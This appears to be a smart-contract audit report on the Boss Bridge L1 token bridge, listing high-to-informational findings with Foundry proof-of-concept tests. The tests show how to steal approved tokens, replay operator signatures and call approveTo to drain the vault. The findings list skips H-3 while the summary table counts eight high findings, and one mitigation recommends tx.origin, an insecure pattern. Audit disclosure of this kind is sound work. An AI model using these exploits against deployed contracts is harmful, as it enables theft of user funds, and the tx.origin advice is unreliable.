Boss Bridge Protocol Audit Report

Version 1.0

saikumar279.github.io/saikumar279

September 3, 2024

Protocol Audit Report

Saikumar

September 3, 2024

Prepared by: Saikumar Lead Auditors: - Saikumar

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
  - High
    * [H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen
    * [H-2] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed
    * [H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds
    * [H-5] `CREATE` Opcode Failure Causes Inability to Deploy Token on zkSync Era
    * [H-6] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd

    * [H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited
    * [H-8] `TokenFactory::deployToken` locks tokens forever
  - Medium
    * [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs
  - Low
    * [L-1] Lack of event emission during withdrawals and sending tokesn to L1
  - Informational
    * [I-1] Insufficient test coverage

Protocol Summary

The Boss Bridge is a bridging mechanism to move an ERC20 token (the "Boss Bridge Token" or "BBT") from L1 to an L2 the development team claims to be building. Because the L2 part of the bridge is under construction, it was not included in the reviewed codebase.

The bridge is intended to allow users to deposit tokens, which are to be held in a vault contract on L1. Successful deposits should trigger an event that an off-chain mechanism is in charge of detecting to mint the corresponding tokens on the L2 side of the bridge.

Withdrawals must be approved operators (or "signers"). Essentially they are expected to be one or more off-chain services where users request withdrawals, and that should verify requests before signing the data users must use to withdraw their tokens. It's worth highlighting that there's little-to-no on-chain mechanism to verify withdrawals, other than the operator's signature. So the Boss Bridge heavily relies on having robust, reliable and always available operators to approve withdrawals. Any rogue operator or compromised signing key may put at risk the entire protocol.

Disclaimer

The Saikumar team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Issues found

Severity	Number of issues found
High	8
Medium	1
Low	1
Info	1
Gas	0
Total	11

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen

Description: The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

Also There is Another attack scenario here, Because the vault grants infinite approval to the bridge already (as can be seen in the contract's constructor), it's possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, presumably causing the minting of unbacked tokens in L2.

Impact: As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concept:

1. As a PoC, include the following test in the `L1BossBridge.t.sol` file:

Poc For stealing of tokens After Approval to L1BossBridge

```
function testStealMoneyIfApprovedToVault() public {
        vm.prank(user);
        token.approve(address(tokenBridge), 10e18);

        address attacker = makeAddr("attacker");
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(user), address(attacker), 10e18);
        tokenBridge.depositTokensToL2(user, attacker, 10e18);
    }
```

2. As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

Poc For minting tokens in L2 which do not have any backed tokens in L1 due to trasnfer from vault to vault:

```
function testStealMoneyFromVaultToVault() public {
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        address attacker = makeAddr("attacker");
        vm.expectEmit(address(tokenBridge));
        emit Deposit(
            address(vault),
            address(attacker),
            token.balanceOf(address(vault))
        );
        tokenBridge.depositTokensToL2(
            address(vault),
            attacker,
            token.balanceOf(address(vault))
        );
    }
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description: Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces).

Impact: Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept: As a PoC, include the following test in the `L1TokenBridge.t.sol` file:

Poc For Replay Attack

```
function testSignatureReplayAttack() public {
        vm.prank(user);
        token.approve(address(tokenBridge), 10e18);
        tokenBridge.depositTokensToL2(user, user, 10e18);

        deal(address(token), address(vault), 100e18);

        bytes memory message = _getTokenWithdrawalMessage(user, 10e18);

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);

        console2.log(
            "Balance of vault before attack: ",
            token.balanceOf(address(vault))
        );

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(user, 10e18, v, r, s);
        }
        console2.log(
            "balance of vault after attack",
            token.balanceOf(address(vault))
        );

        assert(token.balanceOf(address(vault)) == 0);
    }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

Impact: It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept: To reproduce, include the following test in the `L1BossBridge.t.sol` file:

Poc For Replay Attack

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the
       assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us
        to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate
       bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
           uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
       key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).
        max);
    token.transferFrom(address(vault), attacker, token.balanceOf(
        address(vault)));
}
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] CREATE Opcode Failure Causes Inability to Deploy Token on zkSync Era

Description: The `TokenFactory::deployToken` function utilizes the `CREATE` opcode in inline assembly to deploy a new token contract on the zkSync Era network. The function attempts to deploy a contract using the provided contractBytecode and assigns the deployed contract's address to `s_tokenToAddress[symbol]`. However, it was observed that the CREATE opcode fails to execute on zkSync Era.. As a result, the contract deployment fails, causing potential downstream issues where the token contract is expected to be available.

```
        function deployToken(string memory symbol, bytes memory
            contractBytecode) public onlyOwner returns (address addr) {
    assembly {
@>        addr := create(0, add(contractBytecode, 0x20), mload(
        contractBytecode))
    }
    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

Impact: The failure of the `CREATE` opcode prevents the deployment of new token contracts, making the deployToken function ineffective on the zkSync Era network. This could severely impact the functionality of any system relying on dynamic token deployments, leading to broken token integrations and potential loss of user funds or trust.

Recommended Mitigation: To ensure compatibility with zkSync Era use the standard contract deployment mechanisms provided by the zkSync SDK or other compatible libraries that abstract away such low-level details.

[H-6] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd

Description: The `L1BossBridge::depositTokensToL2` function in the L1BossBridge contract includes a `DEPOSIT_LIMIT` check to ensure that the total balance of tokens in the vault does not exceed 100,000 ether. However, if a user deposits enough tokens to reach this limit, the function will revert for all subsequent deposit attempts, leading to a denial of service (DoS) condition. Additionally, the contract `L1Vault` does not provide a mechanism to reduce the vault's balance, making the DoS condition permanent if the limit is reached.

Impact: If the `DEPOSIT_LIMIT` is reached, all users will be prevented from depositing tokens into the vault. This could effectively halt the functionality of the contract, as no further deposits can be made, and the contract lacks a method to reduce the balance and mitigate the issue.

Proof of Concept: To reproduce, include the following test in the `L1BossBridge.t.sol` file:

Poc

```
function testDepositToL2IsDossed() public {
        // Transfer the tokens for vault more than Deposit Limit which
           is 100_000e18

        console2.log(token.balanceOf(address(deployer)));
        vm.prank(deployer);
        token.transfer(address(vault), 100_000e18);

        // Now when user tries to deposit it reverts
        uint256 depositedAmount = 10e18;

        vm.prank(user);
        token.approve(address(tokenBridge), depositedAmount);
        vm.expectRevert(
            L1BossBridge.L1BossBridge__DepositLimitReached.selector
        );
        tokenBridge.depositTokensToL2(user, user, depositedAmount);
    }
```

Recommended Mitigation: Do not included address(valut) balance in the check just keep check on the amount being transferred.

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited

Description: Here in `L1BossBridge::withdrawTokensToL1` there is no condition to verify if the amount which is currently being withdrawn is equal or less than what is actually deposited leading to withdraw more amount than actually deposited.

Impact: Drain of funds from the valut due to withdraw of more amount than what is actually deposited.

Proof of Concept: To reproduce, include the following test in the `L1BossBridge.t.sol` file:

Poc For Replay Attack

```
function testWithdrawMoreThanDeposited() public {
        uint256 depositedAmount = 10e18;

        vm.prank(user);
        token.approve(address(tokenBridge), depositedAmount);
        tokenBridge.depositTokensToL2(user, user, depositedAmount);

        deal(address(token), address(vault), 100e18);
        uint256 withdrawAmount = 20e18;

        bytes memory message = _getTokenWithdrawalMessage(user,
            withdrawAmount);
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);

        uint256 balanceBeforeWithdrawing = token.balanceOf(user);

        console2.log(
            "Balance of User before withdrawing and after depositing 10
                ether:",
            balanceBeforeWithdrawing
        );

        tokenBridge.withdrawTokensToL1(user, withdrawAmount, v, r, s);

        uint256 balanceAfterWithdrawing = token.balanceOf(user);

        console2.log(
            "Balance of User after withdrawing:",
            balanceAfterWithdrawing
        );

        assert(balanceAfterWithdrawing > balanceBeforeWithdrawing);
    }
```

Recommended Mitigation: Include a check in `L1BossBridge::withdrawTokensToL1` to check for amount being withdrawn is more than what is deposited by the particular user in L1.

[H-8] `TokenFactory::deployToken` locks tokens forever

Description: The `L1Token` is deployed using the `TokenFactory` so in the constructor of `L1Token` initial supply tokens are minted for the `msg.sender` so as the `TokenFactory` is deploying the L1Token than all the initial supply tokens are minted for the TokenFactory itself which are locked for forever as it does not have any function to transfer or withdraw those function.

Impact: Lock of L1Tokens in TokenFactory Forever

Proof of Concept: To reproduce, include the following test in the `TokenFactoryTest.t.sol` file:

Poc For Lock Of Tokens

```
function testTokensAreLockedForeverInTokenFactory() public {
        vm.prank(owner);
        address tokenAddress = tokenFactory.deployToken(
            "TEST",
            type(L1Token).creationCode
        );

        L1Token token = L1Token(tokenAddress);
        assert(token.balanceOf(address(tokenFactory)) == 1_000_000e18);
    }
```

Recommended Mitigation: In L1Token you can use `tx.origin` instead of `msg.sender` so tokens are minted for owner of `TokenFactory` contract rather than `TokenFactory` itself.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

Informational

[I-1] Insufficient test coverage

```
Running tests...
| File                 | % Lines        | % Statements   | % Branches     | % Funcs        |
| -------------------- | -------------- | -------------- | -------------- | -------------- |
| src/L1BossBridge.sol | 86.67% (13/15) | 90.00% (18/20) | 83.33% (5/6)   | 83.33% (5/6)   |
| src/L1Vault.sol      | 0.00% (0/1)    | 0.00% (0/1)    | 100.00% (0/0)  | 0.00% (0/1)    |
| src/TokenFactory.sol | 100.00% (4/4)  | 100.00% (4/4)  | 100.00% (0/0)  | 100.00% (2/2)  |
| Total                | 85.00% (17/20) | 88.00% (22/25) | 83.33% (5/6)   | 77.78% (7/9)   |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.